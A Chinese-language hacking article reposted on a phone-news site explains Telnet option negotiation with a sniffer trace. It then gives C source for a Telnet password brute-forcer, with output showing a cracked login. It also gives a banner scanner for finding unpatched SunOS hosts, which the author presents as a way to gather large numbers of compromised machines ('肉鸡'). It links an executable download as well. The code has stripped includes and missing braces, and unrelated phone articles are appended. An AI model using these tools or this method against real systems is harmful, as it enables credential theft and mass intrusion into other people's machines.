您的位置 首页 趣闻

Telnet的攻击

,Telnet的攻击

所谓对telnet的攻击也不外乎对telnet的用户猜解和对telnet服务进程的溢出,除了这些, 本人觉得telnet并没有太大的问题.telnet的连接并不是大家想象的那么简单了,虽然没有像ssh那样进行加密, 不过, 还是比ftp等通讯来的复杂。 

  

D:>telnet 192.168.25.1 

Red Hat Linux release 7.3 (Valhalla) 

Kernel 2.4.18-3 on an i686 

login: chi 

Password: xxxxxxx 

Last Login: Mon Feb 24 13:43:30 from 192.168.25.1 

[chi@chi chi]$ 

  

现在我们先对telnet有点了解吧!TELNET Protocol的目的是提供一个相对通用的,双向的,面向八位字节的通信方法。它主要的目标是允许接口终端设备的标准方法和面向终端的相互作用。可以预见到,此协议也可被用于终端到终端的通信和处理到处理的通信(分布式计算)。 

一个TELNET连接是一个用于传输控制协议的传送数据的。TELNET 协议是建立在以下三个基础上: 

1。网络虚拟终端的概念; 

当一个TELNET连接被初次建立时,每一端都被假设使用了网络虚拟终端,也就是NVT。NVT是一个想象中的标准设备通用设备的代表。这就消除了“服务器”和“用户”机要了解对方机器终端的特点,而终端可以直接处理对话 

2。对话选项的方法; 

基于对话方式的连接. 它们使用"DO, DON'T, WILL, WON'T" 结构允许用户机和服务器建立建立一种更加精巧的TELNET会话连接。这种选项包括改变字符集,响应模式等等。设置选项的基本策略是任一方初始化要求一个选项生效的请求。另一方可以接受也可以拒绝这一请求。如果接受请求,此选项立刻生效;如果被拒绝,连接仍然保持基本的NVT的连接属性。 

3。终端和处理的协调; 

  在终端一方,设置硬件在每一行结束时放弃控制权。当这种情况发生时,本地计算机处理输入数据,决定是否输出,如果不需要,将控制权回送给终端。如果需要产生输出,计算机将保有控制权直到输出数据发送完毕。在网络上使用这种终端的困难是显而易见的。这里就要对 

协调有很高的要求了. 

  

所有TELNET命令结构至少包括一个两个字节的序列:由一个IAC后跟一个命令。关于选项会话的命令是由三个字节的序列构成的,第三个字节是关于选项参考的,下面是定义了的TELNET命令. 

....................................................................................... 

SE 240 结束子会话参数。 

NOP 241 无操作。 

Data Mark 242 Synch的数据流部分。这应该总和TCP紧急标志一起发送。 

Break 243 NVT 字符 BRK。 

Interrupt Process 244 IP功能。 

Abort output 245 AO功能。 

Are You There 246 AYT功能。 

Erase character 247 EC功能。 

Erase character 247 EL功能。 

Go ahead 249 The GA 信号。 

SB 250 指出所跟随的是指示选项的子对话。 

WILL (option code) 251 指示希望开始执行,或者确认现在正在操作指示的选项。 

WON'T (option code) 252 指出拒绝执行或继续招待所指示的选项。 

DO (option code) 253 指出要求对方执行,或者确认希望对方执行指示的选项。 

DON'T (option code) 254 指出要求对方停止执行,或者确诊要求对方停止执行指示的选项。 

IAC 255 数据字节 255 

................................................................................. 

我们用sniffer来跟踪telnet的登陆过程. 

  

9. IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.391,66, 

Telnet 
Command: DO TERMINAL-TYPE 
Command: DO TERMINAL-SPEED 
Command: DO X-DISPLAY-LOCATION 
Command: DO NEW-ENVIRON 

  

10,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.010,60, 

Telnet 
Command: WILL TERMINAL-TYPE 
Command: WILL NAWS 

  

13,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.000,63, 

Telnet 
Command: WON'T TERMINAL-SPEED 
Command: WON'T X-DISPLAY-LOCATION 
Command: WON'T NEW-ENVIRON 

  

18,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,63, 

Telnet 
Command: DO NAWS 
Command: SB TERMINAL-TYPE 
Command: EB 

  

26,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,66, 

Telnet 
Command: WILL SUPPRESS-GO-AHEAD 
Command: DO ECHO 
Command: WILL STATUS 
Command: DO TOGGLE-FLOW-CONTROL 

  

31,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.000,63, 

Telnet 
Command: WILL ECHO 
Command: DON'T STATUS 
Command: WON'T TOGGLE-FLOW-CONTROL 

  

34,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.040,126, 

Telnet 
Command: DON'T ECHO 
Command: WILL ECHO 
Data: Red Hat Linux release 7.3 (Valhalla)Kernel 2.4.18-3 on an i686 

(注意这里就接收到了banner了) 

  

35,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.010,57, 

Telnet 
Command: WON'T ECHO 

  

36,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,61, 

Telnet 
Data: login: 

(接收到Login字节) 

  

39,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.000,57, 

Telnet 

Command: DO ECHO 

(这里就可以发送用户名) 

  

62,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.010,56, 

Telnet 
Data:  

  

67,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,64, 

Telnet 
Data: Password: 

(接收到password字节并可以发送密码进行验证) 

  

97,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.220,56, 

Telnet 
Data:  

(发送完成,如果成功就会返回下面的情况) 

104,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,105, 

Telnet 
Data: Last login: Thu Feb 27 10:06:16 from 192.168.25.1 

  

对telnet一次成功的登陆就到这里结束了,按早上面的的过程就可以写出个对telnet用户名的密码的猜解了! 

/************************************************************************/ 

/* 下面这个是我对Red hat 7.3 所写的telnet user check,可以对别的无效, 只要稍作修改就可以了 */ 

  

  

#include  
#include  
#include  
#include  
#include  
#include  
#include  

#define PORT 23 
#define MAX 1024 


main(int argc,char *argv[]) 


FILE *userfile; 
FILE *passfile; 
FILE *ipfile; 
char user[1024]; 
char pass[1024]; 
char scan_ip[1024]; 
if(argc < 4) 

usage(argv[0]); 
exit(1); 


if((ipfile = fopen(argv[3],"r")) == NULL) { 
printf("could not read the ipfile\n"); 
exit(2); 



while(fscanf(ipfile,"%s",&scan_ip) != EOF) 

if((userfile = fopen(argv[1],"r")) == NULL) { 
printf("could not read the inputfile\n"); 
exit(2); 

while(fscanf(userfile,"%s",&user) != EOF) 

if((passfile = fopen(argv[2],"r")) == NULL) { 
printf("could not creat the outputfile\n"); 
exit(2); 


while(fscanf(passfile,"%s",&pass) != EOF) 

telnet_banner(scan_ip,user,pass); 



exit(1); 


int usage(char *pro) 

printf(" Welcome to www.9836.com \n"); 
printf("usage: %s    \n",pro); 
exit(0); 


telnet_banner(char *ip,char *check_user, char *check_pass) 

struct sockaddr_in addr; 

u_char buf[MAX]; 
int sock,size,i=0; 
if((sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) == -1) { 
printf(" socket failt"); 
exit(1); 


addr.sin_family = AF_INET; 
addr.sin_port = htons(PORT); 
addr.sin_addr.s_addr = inet_addr(ip); 

if(connect(sock,(struct sockaddr *)&addr,sizeof(addr)) == -1) { 
printf("connect failt"); 
exit(1); 


while(i<10){ 

read (sock, buf, 1); 

if (*buf == 255)                                        /*  IAC */ 
read (sock, (buf + 1), 2); 

if ( * (buf + 1) == 253 )                           /* 是否为DO */ 

*(buf + 1) = 252; 
write (sock, buf, 3);                               /* 发送 WON'T */ 

i++; 


if (*buf != 0) { 
bzero (buf, sizeof (buf)); 
read (sock, buf, sizeof (buf));               /* 读取Telnet banner */ 
printf("%s",buf); 


bzero (buf, sizeof (buf)); 
read (sock, buf, sizeof (buf));                /* Login */ 

*(buf+0) = 255; 
*(buf + 1) = 253; 
*(buf + 2) = 0x01; 
write (sock, buf, 3);                              /* IAC DO ECHO */ 

write(sock,check_user,sizeof(check_user));        /* 发送用户名 */ 

*(buf+0) = 0x0D; 
*(buf + 1) = 0X0A; 
write (sock, buf, 2);                                              /*  表示发送完毕*/ 
read(sock,buf,sizeof(buf)); 
read(sock,buf,sizeof(buf));                                  /* password 字节 */ 


write(sock,check_pass,sizeof(check_pass)+3);        /* 发送密码 */ 


*(buf+0) = 0x0D; 
*(buf + 1) = 0X0A; 
write (sock, buf, 2);                                            /*  表示发送完毕*/ 
read(sock,buf,sizeof(buf));                                     /* 读取回显 */ 
printf("%s",buf); 

if( strstr(buf,"from") != NULL )                         /* 判定 */ 

printf("\nuser %s is found, password is %s\n",check_user,check_pass);    

  

close(sock); 




/***************************************************************************************/ 

使用结果: 

E:\cygwin\home\chi>telnet user.txt pass.txt ip.txt 
Red Hat Linux release 7.3 (Valhalla) 
Kernel 2.4.18-3 on an i686 

Last login: Thu Feb 27 20:07:49 from 192.168.25.3 

user chi is found, password is 2211wen   
Red Hat Linux release 7.3 (Valhalla) 
Kernel 2.4.18-3 on an i686 

ssword: Red Hat Linux release 7.3 (Valhalla) 
Kernel 2.4.18-3 on an i686 

ssword: Red Hat Linux release 7.3 (Valhalla) 
Kernel 2.4.18-3 on an i686 

ssword: Red Hat Linux release 7.3 (Valhalla) 
Kernel 2.4.18-3 on an i686 

ssword: Red Hat Linux release 7.3 (Valhalla) 
Kernel 2.4.18-3 on an i686 

ssword: 
E:\cygwin\home\chi> 

  

除了, 对telnet用户的猜解,还有的就只有对telnet服务或telnet进程的溢出了!telnet的登陆其实使用的login文件, 大家是不是想到了rootkit, 

到现在为止sunos-telnet漏洞还有很多主机没有补好的!至于sunos-telnet的exploit如何用, 我这就不说了!我只概括的讲一下得到大批肉鸡的方法! 

sunos的基本安装时就开了telnet, 所以大多的sunos主机都不会有人故意去改他的banner, 所以telnet的banner对我们来说是很重要的! 

先生打开superscan, 扫描个大的区域并扫描111或22, 也就是unix机和windows端口上的区别, 从而过滤点windows的主机, 接下去, 保存你扫到的列表, 再次导入superscan中, 这次扫描的是23端口. 结下去的主机就没有省下多少了!然对superscan的ip列表进行过滤, 变成纯ip的列表![你需要的程序在这里下载http://9836.com/software/file.exe] 

接下去就是对telnet banner的扫描了!没有忘上这上面那个程序吧, 我修改了一下就变成telnet banner check了, 而不是对用户的扫描! 

/************************************************************************/ 

#include  
#include  
#include  
#include  
#include  
#include  
#include  

#define PORT 23 
#define MAX 1024 

FILE *output; 

main(int argc,char *argv[]) 

FILE *input; 
FILE *ipfile; 
char scan_ip[1024]; 

if(argc < 3) 

usage(argv[0]); 
exit(1); 



if(argc== 3) { 
if((output = fopen(argv[2],"wb")) == NULL) { 
printf("could not creat the outputfile\n"); 
exit(2); 

if((input = fopen(argv[1],"r")) == NULL) { 
printf("could not read the inputfile\n"); 
exit(2); 



while(fscanf(input,"%s",&scan_ip) != EOF) 

telnet_banner(scan_ip,argv[3]); 

exit(1); 


int usage(char *pro) 

printf(" Welcome to www.9836.com \n"); 
printf("usage: %s   \n",pro); 
exit(0); 


telnet_banner(char *ip,char *times) 

struct sockaddr_in addr; 

u_char buf[MAX]; 
int sock,size,i=0; 
if((sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) == -1) { 
printf(" socket failt"); 
exit(1); 

addr.sin_family = AF_INET; 
addr.sin_port = htons(PORT); 
addr.sin_addr.s_addr = inet_addr(ip); 

if(connect(sock,(struct sockaddr *)&addr,sizeof(addr)) == -1) { 
printf("connect failt"); 
exit(1); 


while(i<10){ 

read (sock, buf, 1); 

if (*buf == 255) { 
read (sock, (buf + 1), 2); 


if ( * (buf + 1) == 253 ) 

*(buf + 1) = 252; 
write (sock, buf, 3); 

i++; 


if (*buf != 0) { 
bzero (buf, sizeof (buf)); 
read (sock, buf, sizeof (buf)); 
printf("%s",buf); 
if( strstr(buf,"SunOS") != NULL) 

*(buf + 14) = 0; 
fprintf(output,"%s",buf); 
fputs(ip,output); 



close(sock); 



/****************************************************************************/ 

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。

作者: dawei

【声明】:第七手机网内容转载自互联网,其相关言论仅代表作者个人观点绝非权威,不代表本站立场。如您发现内容存在版权问题,请提交相关链接至邮箱:bqsm@foxmail.com,我们将及时予以处理。

为您推荐

敢为天下后,OPPO Find N折叠屏的底气何在?

聊起OPPO,给我的第一印象就是本分,而在刚刚发布的OPPO Find N折叠屏手机上,我看到的是OPPO敢为天下后的底气。 当大家还沉浸在前一天发布的马里亚纳MariSilicon X影像NPU芯片时,OPPO又在12月15日推出了旗下首款折叠屏手机产品OPPO Find N。这是一款传闻已

OPPO Find N展开一刻,两大创新技术打破折痕路上意难平

荣耀发布了荣耀60系列的新品,特别是荣耀60 Pro的5000万像素超感知AI前置镜头和1亿像素超清后置主摄,是生活和游玩记录的好帮手。多镜录像功能在荣耀50系列上就已开始引入,在荣耀60系列上还新增了AI手势识别,Vlog隔空换镜这一创新功能,对拍摄Vlog来说相当

深扒天玑9000,发冲高关键年产品底气怎样?

联发科的天玑9000自公布以来,以过硬的技术实力迅速冲上了包括微博热搜在内的各类话题平台,吹响了冲击旗舰的号角。手机芯片进入4nm时代,arm推出面向未来十年的v9架构,5G技术R16即将商用,内存技术在升级面对全产业大跃进之势,联发科的天玑也迎来了上升的

想拍更远?汇总今年搭载潜望式长焦摄像头的手机

部分手机摄影发烧友已不再满足普通的2x长焦摄像头,他们需要拍的更远,画质也不能妥协,于是能拍更远的潜望式长焦摄像头就应运而生了。不过当镜头焦距上去了,后置镜头模组的厚度就难以控制,如果强行塞下更长焦段的镜头,模组厚度将达到1~2cm,这样的手机估

像素并非越高越好,为何5000万像素手机镜头倍受青欢迎

500万、800万、1200万像素,智能手机摄像头像素在早年发展的步伐相对还是比较缓慢,近来2000万、4800万、6400万、1.08亿像素接踵而来,手机摄像头的像素规格呈现出十分迅猛的迭代更新速度。然而在2019年首推量产1.08亿像素的智能手机后,至今手机上单颗传感

返回顶部